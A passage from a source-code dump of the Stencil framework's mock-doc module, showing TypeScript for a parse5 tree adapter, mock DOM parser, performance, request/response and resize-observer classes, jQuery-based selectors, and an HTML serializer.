ParserOptions<TreeAdapterTypeMap> = docParser.get(ownerDocument);\n\n  if (parseOptions != null) {\n    return parseOptions;\n  }\n\n  const treeAdapter: TreeAdapter = {\n    createDocument() {\n      const doc = ownerDocument.createElement(NODE_NAMES.DOCUMENT_NODE);\n      (doc as any)['x-mode'] = 'no-quirks';\n      return doc;\n    },\n\n    setNodeSourceCodeLocation(node, location) {\n      (node as any).sourceCodeLocation = location;\n    },\n\n    getNodeSourceCodeLocation(node) {\n      return (node as any).sourceCodeLocation;\n    },\n\n    createDocumentFragment() {\n      return ownerDocument.createDocumentFragment();\n    },\n\n    createElement(tagName: string, namespaceURI: string, attrs: Token.Attribute[]) {\n      const elm = ownerDocument.createElementNS(namespaceURI, tagName);\n      for (let i = 0; i < attrs.length; i++) {\n        const attr = attrs[i];\n\n        if (attr.namespace == null || attr.namespace === 'http://www.w3.org/1999/xhtml') {\n          elm.setAttribute(attr.name, attr.value);\n        } else {\n          elm.setAttributeNS(attr.namespace, attr.name, attr.value);\n        }\n      }\n\n      return elm;\n    },\n\n    createCommentNode(data: string) {\n      return ownerDocument.createComment(data);\n    },\n\n    appendChild(parentNode: MockNode, newNode: MockNode) {\n      parentNode.appendChild(newNode);\n    },\n\n    insertBefore(parentNode: MockNode, newNode: MockNode, referenceNode: MockNode) {\n      parentNode.insertBefore(newNode, referenceNode);\n    },\n\n    setTemplateContent(templateElement: MockTemplateElement, contentElement: MockDocumentFragment) {\n      templateElement.content = contentElement;\n    },\n\n    getTemplateContent(templateElement: MockTemplateElement) {\n      return templateElement.content;\n    },\n\n    setDocumentType(doc: MockDocument, name: string, publicId: string, systemId: string) {\n      let doctypeNode = doc.childNodes.find((n) => n.nodeType === NODE_TYPES.DOCUMENT_TYPE_NODE);\n\n      if (doctypeNode == null) {\n        doctypeNode = ownerDocument.createDocumentTypeNode();\n        doc.insertBefore(doctypeNode, doc.firstChild);\n      }\n\n      doctypeNode.nodeValue = '!DOCTYPE';\n      (doctypeNode as any)['x-name'] = name;\n      (doctypeNode as any)['x-publicId'] = publicId;\n      (doctypeNode as any)['x-systemId'] = systemId;\n    },\n\n    setDocumentMode(doc: any, mode: string) {\n      doc['x-mode'] = mode;\n    },\n\n    getDocumentMode(doc: any) {\n      return doc['x-mode'];\n    },\n\n    detachNode(node: MockNode) {\n      node.remove();\n    },\n\n    insertText(parentNode: MockNode, text: string) {\n      const lastChild = parentNode.lastChild;\n\n      if (lastChild != null && lastChild.nodeType === NODE_TYPES.TEXT_NODE) {\n        lastChild.nodeValue += text;\n      } else {\n        parentNode.appendChild(ownerDocument.createTextNode(text));\n      }\n    },\n\n    insertTextBefore(parentNode: MockNode, text: string, referenceNode: MockNode) {\n      const prevNode = parentNode.childNodes[parentNode.childNodes.indexOf(referenceNode) - 1];\n\n      if (prevNode != null && prevNode.nodeType === NODE_TYPES.TEXT_NODE) {\n        prevNode.nodeValue += text;\n      } else {\n        parentNode.insertBefore(ownerDocument.createTextNode(text), referenceNode);\n      }\n    },\n\n    adoptAttributes(recipient: MockElement, attrs: Token.Attribute[]) {\n      for (let i = 0; i < attrs.length; i++) {\n        const attr = attrs[i];\n\n        if (recipient.hasAttributeNS(attr.namespace, attr.name) === false) {\n          recipient.setAttributeNS(attr.namespace, attr.name, attr.value);\n        }\n      }\n    },\n\n    getFirstChild(node: MockNode) {\n      return node.childNodes[0];\n    },\n\n    getChildNodes(node: MockNode) {\n      return node.childNodes;\n    },\n\n    getParentNode(node: MockNode) {\n      return node.parentNode;\n    },\n\n    getAttrList(element: MockElement) {\n      const attrs: Token.Attribute[] = element.attributes.__items.map((attr): Token.Attribute => {\n        return {\n          name: attr.name,\n          value: attr.value,\n          namespace: attr.namespaceURI,\n          prefix: null,\n        };\n      });\n      return attrs;\n    },\n\n    getTagName(element: MockElement) {\n      if (element.namespaceURI === 'http://www.w3.org/1999/xhtml') {\n        return element.nodeName.toLowerCase();\n      } else {\n        return element.nodeName;\n      }\n    },\n\n    getNamespaceURI(element: MockElement) {\n      // mock-doc widens the type of an element's namespace uri to 'string | null'\n      // we use a type assertion here to adhere to parse5's type definitions\n      return element.namespaceURI as html.NS;\n    },\n\n    getTextNodeContent(textNode: MockTextNode) {\n      return textNode.nodeValue;\n    },\n\n    getCommentNodeContent(commentNode: MockComment) {\n      return commentNode.nodeValue;\n    },\n\n    getDocumentTypeNodeName(doctypeNode: any) {\n      return doctypeNode['x-name'];\n    },\n\n    getDocumentTypeNodePublicId(doctypeNode: any) {\n      return doctypeNode['x-publicId'];\n    },\n\n    getDocumentTypeNodeSystemId(doctypeNode: any) {\n      return doctypeNode['x-systemId'];\n    },\n\n    // @ts-ignore - a `MockNode` will never be assignable to a `TreeAdapterTypeMap['text']`. As a result, we cannot\n    // complete this function signature\n    isTextNode(node: MockNode) {\n      return node.nodeType === NODE_TYPES.TEXT_NODE;\n    },\n\n    // @ts-ignore - a `MockNode` will never be assignable to a `TreeAdapterTypeMap['comment']`. As a result, we cannot\n    // complete this function signature (which requires its return type to be a type predicate)\n    isCommentNode(node: MockNode): boolean {\n      return node.nodeType === NODE_TYPES.COMMENT_NODE;\n    },\n\n    // @ts-ignore - a `MockNode` will never be assignable to a `TreeAdapterTypeMap['document']`. As a result, we cannot\n    // complete this function signature (which requires its return type to be a type predicate)\n    isDocumentTypeNode(node: MockNode) {\n      return node.nodeType === NODE_TYPES.DOCUMENT_TYPE_NODE;\n    },\n\n    // @ts-ignore - a `MockNode` will never be assignable to a `TreeAdapterTypeMap['element']`. As a result, we cannot\n    // complete this function signature (which requires its return type to be a type predicate)\n    isElementNode(node: MockNode) {\n      return node.nodeType === NODE_TYPES.ELEMENT_NODE;\n    },\n  };\n\n  parseOptions = {\n    treeAdapter: treeAdapter,\n  };\n\n  docParser.set(ownerDocument, parseOptions);\n\n  return parseOptions;\n}\n"
  },
  {
    "path": "src/mock-doc/parser.ts",
    "content": "import { MockDocument } from './document';\nimport { parseHtmlToDocument } from './parse-html';\n\nexport type DOMParserSupportedType =\n  | 'text/html'\n  | 'text/xml'\n  | 'application/xml'\n  | 'application/xhtml+xml'\n  | 'image/svg+xml';\n\nexport class MockDOMParser {\n  parseFromString(htmlToParse: string, mimeType: DOMParserSupportedType): MockDocument {\n    if (mimeType !== 'text/html') {\n      console.error('XML parsing not implemented yet, continuing as html');\n    }\n    return parseHtmlToDocument(htmlToParse);\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/performance.ts",
    "content": "/**\n * https://developer.mozilla.org/en-US/docs/Web/API/Performance\n */\nexport class MockPerformance implements Performance {\n  timeOrigin: number;\n  eventCounts: EventCounts;\n\n  constructor() {\n    this.timeOrigin = Date.now();\n    this.eventCounts = new Map<string, number>();\n  }\n\n  addEventListener() {\n    //\n  }\n\n  clearMarks() {\n    //\n  }\n\n  clearMeasures() {\n    //\n  }\n\n  clearResourceTimings() {\n    //\n  }\n\n  dispatchEvent() {\n    return true;\n  }\n\n  getEntries() {\n    return [] as any;\n  }\n\n  getEntriesByName() {\n    return [] as any;\n  }\n\n  getEntriesByType() {\n    return [] as any;\n  }\n\n  // Stencil's implementation of `mark` is non-compliant with the `Performance` interface. Because Stencil will\n  // instantiate an instance of this class and may attempt to assign it to a variable of type `Performance`, the return\n  // type must match the `Performance` interface (rather than typing this function as returning `void` and ignoring the\n  // associated errors returned by the type checker)\n  // @ts-ignore\n  mark(): PerformanceMark {\n    //\n  }\n\n  // Stencil's implementation of `measure` is non-compliant with the `Performance` interface. Because Stencil will\n  // instantiate an instance of this class and may attempt to assign it to a variable of type `Performance`, the return\n  // type must match the `Performance` interface (rather than typing this function as returning `void` and ignoring the\n  // associated errors returned by the type checker)\n  // @ts-ignore\n  measure(): PerformanceMeasure {\n    //\n  }\n\n  get navigation() {\n    return {} as any;\n  }\n\n  now() {\n    return Date.now() - this.timeOrigin;\n  }\n\n  get onresourcetimingbufferfull() {\n    return null as any;\n  }\n\n  removeEventListener() {\n    //\n  }\n\n  setResourceTimingBufferSize() {\n    //\n  }\n\n  get timing() {\n    return {} as any;\n  }\n\n  toJSON() {\n    //\n  }\n}\n\nexport function resetPerformance(perf: Performance) {\n  if (perf != null) {\n    try {\n      (perf as MockPerformance).timeOrigin = Date.now();\n    } catch (e) {}\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/request-response.ts",
    "content": "import { MockHeaders } from './headers';\n\nexport type MockRequestInfo = MockRequest | string;\n\nexport interface MockRequestInit {\n  body?: any;\n  cache?: string;\n  credentials?: string;\n  headers?: any;\n  integrity?: string;\n  keepalive?: boolean;\n  method?: string;\n  mode?: string;\n  redirect?: string;\n  referrer?: string;\n  referrerPolicy?: string;\n}\n\nexport class MockRequest {\n  private _method = 'GET';\n  private _url = '/';\n\n  bodyUsed = false;\n  cache = 'default';\n  credentials = 'same-origin';\n  headers: MockHeaders;\n  integrity = '';\n  keepalive = false;\n  mode = 'cors';\n  redirect = 'follow';\n  referrer = 'about:client';\n  referrerPolicy = '';\n\n  constructor(input?: any, init: MockRequestInit = {}) {\n    if (typeof input === 'string') {\n      this.url = input;\n    } else if (input) {\n      Object.assign(this, input);\n      this.headers = new MockHeaders(input.headers);\n    }\n\n    Object.assign(this, init);\n\n    if (init.headers) {\n      this.headers = new MockHeaders(init.headers);\n    }\n\n    if (!this.headers) {\n      this.headers = new MockHeaders();\n    }\n  }\n\n  get url() {\n    if (typeof this._url === 'string') {\n      return new URL(this._url, location.href).href;\n    }\n    return new URL('/', location.href).href;\n  }\n  set url(value: string) {\n    this._url = value;\n  }\n\n  get method() {\n    if (typeof this._method === 'string') {\n      return this._method.toUpperCase();\n    }\n    return 'GET';\n  }\n  set method(value: string) {\n    this._method = value;\n  }\n\n  clone() {\n    const clone = { ...this };\n    clone.headers = new MockHeaders(this.headers);\n    return new MockRequest(clone);\n  }\n}\n\n// ReSPONSE\n\nexport interface MockResponseInit {\n  headers?: any;\n  ok?: boolean;\n  status?: number;\n  statusText?: string;\n  type?: string;\n  url?: string;\n}\n\nexport class MockResponse {\n  private _body: string;\n  headers: MockHeaders;\n  ok = true;\n  status = 200;\n  statusText = '';\n  type = 'default';\n  url = '';\n\n  constructor(body?: string, init: MockResponseInit = {}) {\n    this._body = body;\n    if (init) {\n      Object.assign(this, init);\n    }\n    this.headers = new MockHeaders(init.headers);\n  }\n\n  async json() {\n    return JSON.parse(this._body);\n  }\n\n  async text() {\n    return this._body;\n  }\n\n  clone() {\n    const initClone = { ...this };\n    initClone.headers = new MockHeaders(this.headers);\n    return new MockResponse(this._body, initClone);\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/resize-observer.ts",
    "content": "export class MockResizeObserver {\n  constructor() {\n    /**/\n  }\n\n  disconnect() {\n    /**/\n  }\n\n  observe() {\n    /**/\n  }\n\n  takeRecords(): any[] {\n    return [];\n  }\n\n  unobserve() {\n    /**/\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/selector.ts",
    "content": "import { MockElement } from './node';\nimport jQuery from './third-party/jquery';\n\n/**\n * Check whether an element of interest matches a given selector.\n *\n * @param selector the selector of interest\n * @param elm an element within which to find matching elements\n * @returns whether the element matches the selector\n */\nexport function matches(selector: string, elm: MockElement): boolean {\n  try {\n    const r = jQuery.find(selector, undefined, undefined, [elm]);\n    return r.length > 0;\n  } catch (e) {\n    updateSelectorError(selector, e);\n    throw e;\n  }\n}\n\n/**\n * Select the first element that matches a given selector\n *\n * @param selector the selector of interest\n * @param elm the element within which to find a matching element\n * @returns the first matching element, or null if none is found\n */\nexport function selectOne(selector: string, elm: MockElement) {\n  try {\n    const r = jQuery.find(selector, elm, undefined, undefined);\n    return r[0] || null;\n  } catch (e) {\n    updateSelectorError(selector, e);\n    throw e;\n  }\n}\n\n/**\n * Select all elements that match a given selector\n *\n * @param selector the selector of interest\n * @param elm an element within which to find matching elements\n * @returns all matching elements\n */\nexport function selectAll(selector: string, elm: MockElement): any {\n  try {\n    return jQuery.find(selector, elm, undefined, undefined);\n  } catch (e) {\n    updateSelectorError(selector, e);\n    throw e;\n  }\n}\n\n/**\n * A manifest of selectors which are known to be problematic in jQuery. See\n * here to track implementation and support:\n * https://github.com/jquery/jquery/issues/5111\n */\nexport const PROBLEMATIC_SELECTORS = [':scope', ':where', ':is'] as const;\n\n/**\n * Given a selector and an error object thrown by jQuery, annotate the\n * error's message to add some context as to the probable reason for the error.\n * In particular, if the selector includes a selector which is known to be\n * unsupported in jQuery, then we know that was likely the cause of the\n * error.\n *\n * @param selector our selector of interest\n * @param e an error object that was thrown in the course of using jQuery\n */\nfunction updateSelectorError(selector: string, e: unknown) {\n  const selectorsPresent = PROBLEMATIC_SELECTORS.filter((s) => selector.includes(s));\n\n  if (selectorsPresent.length > 0 && (e as Error).message) {\n    (e as Error).message =\n      `At present jQuery does not support the ${humanReadableList(selectorsPresent)} ${selectorsPresent.length === 1 ? 'selector' : 'selectors'}.\nIf you need this in your test, consider writing an end-to-end test instead.\\n` + (e as Error).message;\n  }\n}\n\n/**\n * Format a list of strings in a 'human readable' way.\n *\n * - If one string (['string']), return 'string'\n * - If two strings (['a', 'b']), return 'a and b'\n * - If three or more (['a', 'b', 'c']), return 'a, b and c'\n *\n * @param items a list of strings to format\n * @returns a formatted string\n */\nfunction humanReadableList(items: string[]): string {\n  if (items.length <= 1) {\n    return items.join('');\n  }\n  return `${items.slice(0, items.length - 1).join(', ')} and ${items[items.length - 1]}`;\n}\n"
  },
  {
    "path": "src/mock-doc/serialize-node.ts",
    "content": "import {\n  CONTENT_REF_ID,\n  HYDRATE_ID,\n  ORG_LOCATION_ID,\n  SLOT_NODE_ID,\n  TEXT_NODE_ID,\n  XLINK_NS,\n} from '../runtime/runtime-constants';\nimport { cloneAttributes } from './attribute';\nimport { NODE_TYPES } from './constants';\nimport { type MockDocument } from './document';\nimport { type MockNode } from './node';\n\n/**\n * Set default values for serialization options.\n * @param opts options to control serialization behavior\n * @returns normalized serialization options\n */\nfunction normalizeSerializationOptions(opts: Partial<SerializeNodeToHtmlOptions> = {}) {\n  return {\n    ...opts,\n    outerHtml: typeof opts.outerHtml !== 'boolean' ? false : opts.outerHtml,\n    ...(opts.prettyHtml\n      ? {\n          indentSpaces: typeof opts.indentSpaces !== 'number' ? 2 : opts.indentSpaces,\n          newLines: typeof opts.newLines !== 'boolean' ? true : opts.newLines,\n        }\n      : {\n          prettyHtml: false,\n          indentSpaces: typeof opts.indentSpaces !== 'number' ? 0 : opts.indentSpaces,\n          newLines: typeof opts.newLines !== 'boolean' ? false : opts.newLines,\n        }),\n    approximateLineWidth: typeof opts.approximateLineWidth !== 'number' ? -1 : opts.approximateLineWidth,\n    removeEmptyAttributes: typeof opts.removeEmptyAttributes !== 'boolean' ? true : opts.removeEmptyAttributes,\n    removeAttributeQuotes: typeof opts.removeAttributeQuotes !== 'boolean' ? false : opts.removeAttributeQuotes,\n    removeBooleanAttributeQuotes:\n      typeof opts.removeBooleanAttributeQuotes !== 'boolean' ? false : opts.removeBooleanAttributeQuotes,\n    removeHtmlComments: typeof opts.removeHtmlComments !== 'boolean' ? false : opts.removeHtmlComments,\n    serializeShadowRoot:\n      typeof opts.serializeShadowRoot === 'undefined' ? 'declarative-shadow-dom' : opts.serializeShadowRoot,\n    fullDocument: typeof opts.fullDocument !== 'boolean' ? true : opts.fullDocument,\n  } as const;\n}\n\n/**\n * Serialize a node (either a DOM node or a mock-doc node) to an HTML string.\n * This operation is similar to `outerHTML` but allows for more control over the\n * serialization process. It is fully synchronous meaning that it will not\n * wait for a component to be fully rendered before serializing it. Use `streamToHtml`\n * for a streaming version of this function.\n *\n * @param elm the node to serialize\n * @param serializationOptions options to control serialization behavior\n * @returns an html string\n */\nexport function serializeNodeToHtml(elm: Node | MockNode, serializationOptions: SerializeNodeToHtmlOptions = {}) {\n  const opts = normalizeSerializationOptions(serializationOptions);\n  const output: SerializeOutput = {\n    currentLineWidth: 0,\n    indent: 0,\n    isWithinBody: false,\n    text: [],\n  };\n\n  let renderedNode = '';\n  const children =\n    !opts.fullDocument && (elm as MockDocument).body\n      ? Array.from((elm as MockDocument).body.childNodes)\n      : opts.outerHtml\n        ? [elm]\n        : Array.from(getChildNodes(elm));\n\n  for (let i = 0, ii = children.length; i < ii; i++) {\n    const child = children[i];\n    const chunks = Array.from(streamToHtml(child, opts, output));\n    renderedNode += chunks.join('');\n  }\n\n  return renderedNode.trim();\n}\n\nconst shadowRootTag = 'mock:shadow-root';\n\n/**\n * Same as `serializeNodeToHtml` but returns a generator that yields the serialized\n * HTML in chunks. This is useful for streaming the serialized HTML to the client\n * as it is being generated.\n *\n * @param node the node to serialize\n * @param opts options to control serialization behavior\n * @param output keeps track of the current line width and indentation\n * @returns a generator that yields the serialized HTML in chunks\n */\nfunction* streamToHtml(\n  node: Node | MockNode,\n  opts: SerializeNodeToHtmlOptions,\n  output: Omit<SerializeOutput, 'text'>,\n): Generator<string, void, undefined> {\n  const isShadowRoot = node.nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE;\n\n  if (node.nodeType === NODE_TYPES.ELEMENT_NODE || isShadowRoot) {\n    const tagName = isShadowRoot ? shadowRootTag : getTagName(node as Element);\n\n    if (tagName === 'body') {\n      output.isWithinBody = true;\n    }\n\n    const ignoreTag = opts.excludeTags != null && opts.excludeTags.includes(tagName);\n\n    if (ignoreTag === false) {\n      const isWithinWhitespaceSensitiveNode =\n        opts.newLines || (opts.indentSpaces ?? 0) > 0 ? isWithinWhitespaceSensitive(node) : false;\n      if (opts.newLines && !isWithinWhitespaceSensitiveNode) {\n        yield '\\n';\n        output.currentLineWidth = 0;\n      }\n\n      if ((opts.indentSpaces ?? 0) > 0 && !isWithinWhitespaceSensitiveNode) {\n        for (let i = 0; i < output.indent; i++) {\n          yield ' ';\n        }\n        output.currentLineWidth += output.indent;\n      }\n\n      const tag = tagName === shadowRootTag ? 'template' : tagName;\n\n      yield '<' + tag;\n      output.currentLineWidth += tag.length + 1;\n\n      /**\n       * ToDo(https://github.com/stenciljs/core/issues/4111): the shadow root class is `#document-fragment`\n       * and has no mode attribute. We should consider adding a mode attribute.\n       */\n      if (\n        tag === 'template' &&\n        (!(node as Element).getAttribute || !(node as Element).getAttribute('shadowrootmode')) &&\n        /**\n         * If the node is a shadow root, we want to add the `shadowrootmode` attribute\n         */\n        ('host' in node || node.nodeName.toLocaleLowerCase() === shadowRootTag)\n      ) {\n        const mode = ` shadowrootmode=\"open\"`;\n        yield mode;\n        output.currentLineWidth += mode.length;\n\n        if ((node as any).delegatesFocus) {\n          const delegatesFocusAttr = ' shadowrootdelegatesfocus';\n          yield delegatesFocusAttr;\n          output.currentLineWidth += delegatesFocusAttr.length;\n        }\n      }\n\n      const attrsLength = (node as HTMLElement).attributes.length;\n      const attributes =\n        opts.prettyHtml && attrsLength > 1\n          ? cloneAttributes((node as HTMLElement).attributes as any, true)\n          : (node as Element).attributes;\n\n      for (let i = 0; i < attrsLength; i++) {\n        const attr = attributes.item(i)!;\n        const attrName = attr.name;\n\n        if (attrName === 'style') {\n          continue;\n        }\n\n        // Skip shadowrootmode and shadowrootdelegatesfocus attributes when they've already been\n        // added from the shadow root's properties (to avoid duplication)\n        if (\n          tag === 'template' &&\n          isShadowRoot &&\n          (attrName === 'shadowrootmode' || attrName === 'shadowrootdelegatesfocus')\n        ) {\n          continue;\n        }\n\n        let attrValue = attr.value;\n        if (opts.removeEmptyAttributes && attrValue === '' && REMOVE_EMPTY_ATTR.has(attrName)) {\n          continue;\n        }\n\n        const attrNamespaceURI = attr.namespaceURI;\n        if (attrNamespaceURI == null) {\n          output.currentLineWidth += attrName.length + 1;\n          if (\n            opts.approximateLineWidth &&\n            opts.approximateLineWidth > 0 &&\n            output.currentLineWidth > opts.approximateLineWidth\n          ) {\n            yield '\\n' + attrName;\n            output.currentLineWidth = 0;\n          } else {\n            yield ' ' + attrName;\n          }\n        } else if (attrNamespaceURI === 'http://www.w3.org/XML/1998/namespace') {\n          yield ' xml:' + attrName;\n          output.currentLineWidth += attrName.length + 5;\n        } else if (attrNamespaceURI === 'http://www.w3.org/2000/xmlns/') {\n          if (attrName !== 'xmlns') {\n            yield ' xmlns:' + attrName;\n            output.currentLineWidth += attrName.length + 7;\n          } else {\n            yield ' ' + attrName;\n            output.currentLineWidth += attrName.length + 1;\n          }\n        } else if (attrNamespaceURI === XLINK_NS) {\n          yield ' xlink:' + attrName;\n          output.currentLineWidth += attrName.length + 7;\n        } else {\n          yield ' ' + attrNamespaceURI + ':' + attrName;\n          output.currentLineWidth += attrNamespaceURI.length + attrName.length + 2;\n        }\n\n        if (opts.prettyHtml && attrName === 'class') {\n          attrValue = attr.value = attrValue\n            .split(' ')\n            .filter((t) => t !== '')\n            .sort()\n            .join(' ')\n            .trim();\n        }\n\n        if (attrValue === '') {\n          // shadowrootdelegatesfocus should always be rendered as a boolean attribute (no value)\n          if (attrName === 'shadowrootdelegatesfocus') {\n            continue;\n          }\n          if (opts.removeBooleanAttributeQuotes && BOOLEAN_ATTR.has(attrName)) {\n            continue;\n          }\n          if (opts.removeEmptyAttributes && attrName.startsWith('data-')) {\n            continue;\n          }\n        }\n\n        if (opts.removeAttributeQuotes && CAN_REMOVE_ATTR_QUOTES.test(attrValue)) {\n          yield '=' + escapeString(attrValue, true);\n          output.currentLineWidth += attrValue.length + 1;\n        } else {\n          yield '=\"' + escapeString(attrValue, true) + '\"';\n          output.currentLineWidth += attrValue.length + 3;\n        }\n      }\n\n      if ((node as Element).hasAttribute('style')) {\n        const cssText = (node as HTMLElement).style.cssText;\n\n        if (\n          opts.approximateLineWidth &&\n          opts.approximateLineWidth > 0 &&\n          output.currentLineWidth + cssText.length + 10 > opts.approximateLineWidth\n        ) {\n          yield `\\nstyle=\"${cssText}\">`;\n          output.currentLineWidth = 0;\n        } else {\n          yield ` style=\"${cssText}\">`;\n          output.currentLineWidth += cssText.length + 10;\n        }\n      } else {\n        yield '>';\n        output.currentLineWidth += 1;\n      }\n    }\n\n    if (EMPTY_ELEMENTS.has(tagName) === false) {\n      const shadowRoot = (node as HTMLElement).shadowRoot;\n      if (shadowRoot != null && opts.serializeShadowRoot !== false) {\n        output.indent = output.indent + (opts.indentSpaces ?? 0);\n\n        yield* streamToHtml(shadowRoot, opts, output);\n        output.indent = output.indent - (opts.indentSpaces ?? 0);\n\n        const childNodes = getChildNodes(node);\n        if (\n          opts.newLines &&\n          (childNodes.length === 0 ||\n            (childNodes.length === 1 &&\n              childNodes[0].nodeType === NODE_TYPES.TEXT_NODE &&\n              childNodes[0].nodeValue?.trim() === ''))\n        ) {\n          yield '\\n';\n          output.currentLineWidth = 0;\n\n          for (let i = 0; i < output.indent; i++) {\n            yield ' ';\n          }\n          output.currentLineWidth += output.indent;\n        }\n      }\n\n      if (opts.excludeTagContent == null || opts.excludeTagContent.includes(tagName) === false) {\n        const tag = tagName === shadowRootTag ? 'template' : tagName;\n        const childNodes =\n          tagName === 'template'\n            ? ((node as any as HTMLTemplateElement).content.childNodes as any)\n            : getChildNodes(node);\n        const childNodeLength = childNodes.length;\n\n        if (childNodeLength > 0) {\n          if (\n            childNodeLength === 1 &&\n            childNodes[0].nodeType === NODE_TYPES.TEXT_NODE &&\n            (typeof childNodes[0].nodeValue !== 'string' || childNodes[0].nodeValue.trim() === '')\n          ) {\n            // skip over empty text nodes\n          } else {\n            const isWithinWhitespaceSensitiveNode =\n              opts.newLines || (opts.indentSpaces ?? 0) > 0 ? isWithinWhitespaceSensitive(node) : false;\n\n            if (!isWithinWhitespaceSensitiveNode && (opts.indentSpaces ?? 0) > 0 && ignoreTag === false) {\n              output.indent = output.indent + (opts.indentSpaces ?? 0);\n            }\n\n            for (let i = 0; i < childNodeLength; i++) {\n              /**\n               * In cases where a user would pass in a declarative shadow dom of a\n               * Stencil component, we want to skip over the template tag as we\n               * will be parsing the shadow root of the component again.\n               *\n               * We know it is a hydrated Stencil component by checking if the `HYDRATE_ID`\n               * is set on the node.\n               */\n              const sId = (node as HTMLElement).attributes.getNamedItem(HYDRATE_ID);\n              const isStencilDeclarativeShadowDOM = childNodes[i].nodeName.toLowerCase() === 'template' && sId;\n              if (isStencilDeclarativeShadowDOM) {\n                yield `\\n${' '.repeat(output.indent)}<!--r.${sId.value}-->`;\n                continue;\n              }\n\n              yield* streamToHtml(childNodes[i], opts, output);\n            }\n\n            if (ignoreTag === false) {\n              if (opts.newLines && !isWithinWhitespaceSensitiveNode) {\n                yield '\\n';\n                output.currentLineWidth = 0;\n              }\n\n              if ((opts.indentSpaces ?? 0) > 0 && !isWithinWhitespaceSensitiveNode) {\n                output.indent = output.indent - (opts.indentSpaces ?? 0);\n                for (let i = 0; i < output.indent; i++) {\n                  yield ' ';\n                }\n                output.currentLineWidth += output.indent;\n              }\n            }\n          }\n        }\n\n        if (ignoreTag === false) {\n          yield '</' + tag + '>';\n          output.currentLineWidth += tag.length + 3;\n        }\n      }\n    }\n\n    if ((opts.approximateLineWidth ?? 0) > 0 && STRUCTURE_ELEMENTS.has(tagName)) {\n      yield '\\n';\n      output.currentLineWidth = 0;\n    }\n\n    if (tagName === 'body') {\n      output.isWithinBody = false;\n    }\n  } else if (node.nodeType === NODE_TYPES.TEXT_NODE) {\n    let textContent = node.nodeValue;\n\n    if (typeof textContent === 'string') {\n      const trimmedTextContent = textContent.trim();\n      if (trimmedTextContent === '') {\n        // this text node is whitespace only\n        if (isWithinWhitespaceSensitive(node)) {\n          // whitespace matters within this element\n          // just add the exact text we were given\n          yield textContent;\n          output.currentLineWidth += textContent.length;\n        } else if ((opts.approximateLineWidth ?? 0) > 0 && !output.isWithinBody) {\n          // do nothing if we're not in the <body> and we're tracking line width\n        } else if (!opts.prettyHtml) {\n          // this text node is only whitespace, and it's not\n          // within a whitespace sensitive element like <pre> or <code>\n          // so replace the entire white space with a single new line\n          output.currentLineWidth += 1;\n\n          if (\n            opts.approximateLineWidth &&\n            opts.approximateLineWidth > 0 &&\n            output.currentLineWidth > opts.approximateLineWidth\n          ) {\n            // good enough for a new line\n            // for perf these are all just estimates\n            // we don't care to ensure exact line lengths\n            yield '\\n';\n            output.currentLineWidth = 0;\n          } else {\n            // let's keep it all on the same line yet\n            yield ' ';\n          }\n        }\n      } else {\n        // this text node has text content\n        const isWithinWhitespaceSensitiveNode =\n          opts.newLines || (opts.indentSpaces ?? 0) > 0 || opts.prettyHtml ? isWithinWhitespaceSensitive(node) : false;\n        if (opts.newLines && !isWithinWhitespaceSensitiveNode) {\n          yield '\\n';\n          output.currentLineWidth = 0;\n        }\n\n        if ((opts.indentSpaces ?? 0) > 0 && !isWithinWhitespaceSensitiveNode) {\n          for (let i = 0; i < output.indent; i++) {\n            yield ' ';\n          }\n          output.currentLineWidth += output.indent;\n        }\n\n        let textContentLength = textContent.length;\n        if (textContentLength > 0) {\n          // this text node has text content\n\n          const parentTagName =\n            node.parentNode != null && node.parentNode.nodeType === NODE_TYPES.ELEMENT_NODE\n              ? node.parentNode.nodeName\n              : null;\n          if (typeof parentTagName === 'string' && NON_ESCAPABLE_CONTENT.has(parentTagName)) {\n            // this text node cannot have its content escaped since it's going\n            // into an element like <style> or <script>\n            if (isWithinWhitespaceSensitive(node)) {\n              yield textContent;\n            } else {\n              yield trimmedTextContent;\n              textContentLength = trimmedTextContent.length;\n            }\n            output.currentLineWidth += textContentLength;\n          } else {\n            // this text node is going into a normal element and html can be escaped\n            if (opts.prettyHtml && !isWithinWhitespaceSensitiveNode) {\n              // pretty print the text node\n              yield escapeString(textContent.replace(/\\s\\s+/g, ' ').trim(), false);\n              output.currentLineWidth += textContentLength;\n            } else {\n              // not pretty printing the text node\n              if (isWithinWhitespaceSensitive(node)) {\n                output.currentLineWidth += textContentLength;\n              } else {\n                // this element is not a whitespace sensitive one, like <pre> or <code> so\n                // any whitespace at the start and end can be cleaned up to just be one space\n                if (/\\s/.test(textContent.charAt(0))) {\n                  textContent = ' ' + textContent.trimLeft();\n                }\n\n                textContentLength = textContent.length;\n                if (textContentLength > 1) {\n                  if (/\\s/.test(textContent.charAt(textContentLength - 1))) {\n                    if (\n                      opts.approximateLineWidth &&\n                      opts.approximateLineWidth > 0 &&\n                      output.currentLineWidth + textContentLength > opts.approximateLineWidth\n                    ) {\n                      textContent = textContent.trimRight() + '\\n';\n                      output.currentLineWidth = 0;\n                    } else {\n                      textContent = textContent.trimRight() + ' ';\n                    }\n                  }\n                }\n                output.currentLineWidth += textContentLength;\n              }\n\n              yield escapeString(textContent, false);\n            }\n          }\n        }\n      }\n    }\n  } else if (node.nodeType === NODE_TYPES.COMMENT_NODE) {\n    const nodeValue = node.nodeValue;\n\n    const isHydrateAnnotation =\n      nodeValue?.startsWith(CONTENT_REF_ID + '.') ||\n      nodeValue?.startsWith(ORG_LOCATION_ID + '.') ||\n      nodeValue?.startsWith(SLOT_NODE_ID + '.') ||\n      nodeValue?.startsWith(TEXT_NODE_ID + '.');\n\n    /**\n     * remove comments from stringified output if user set the `removeHtmlComments` e.g.\n     * in the `renderToString` function and we are no dealing with a hydrate annotation\n     */\n    if (opts.removeHtmlComments && !isHydrateAnnotation) {\n      return;\n    }\n\n    const isWithinWhitespaceSensitiveNode =\n      opts.newLines || (opts.indentSpaces ?? 0) > 0 ? isWithinWhitespaceSensitive(node) : false;\n    if (opts.newLines && !isWithinWhitespaceSensitiveNode) {\n      yield '\\n';\n      output.currentLineWidth = 0;\n    }\n\n    if ((opts.indentSpaces ?? 0) > 0 && !isWithinWhitespaceSensitiveNode) {\n      for (let i = 0; i < output.indent; i++) {\n        yield ' ';\n      }\n      output.currentLineWidth += output.indent;\n    }\n\n    yield '<!--' + nodeValue + '-->';\n    if (nodeValue) {\n      output.currentLineWidth += nodeValue.length + 7;\n    }\n  } else if 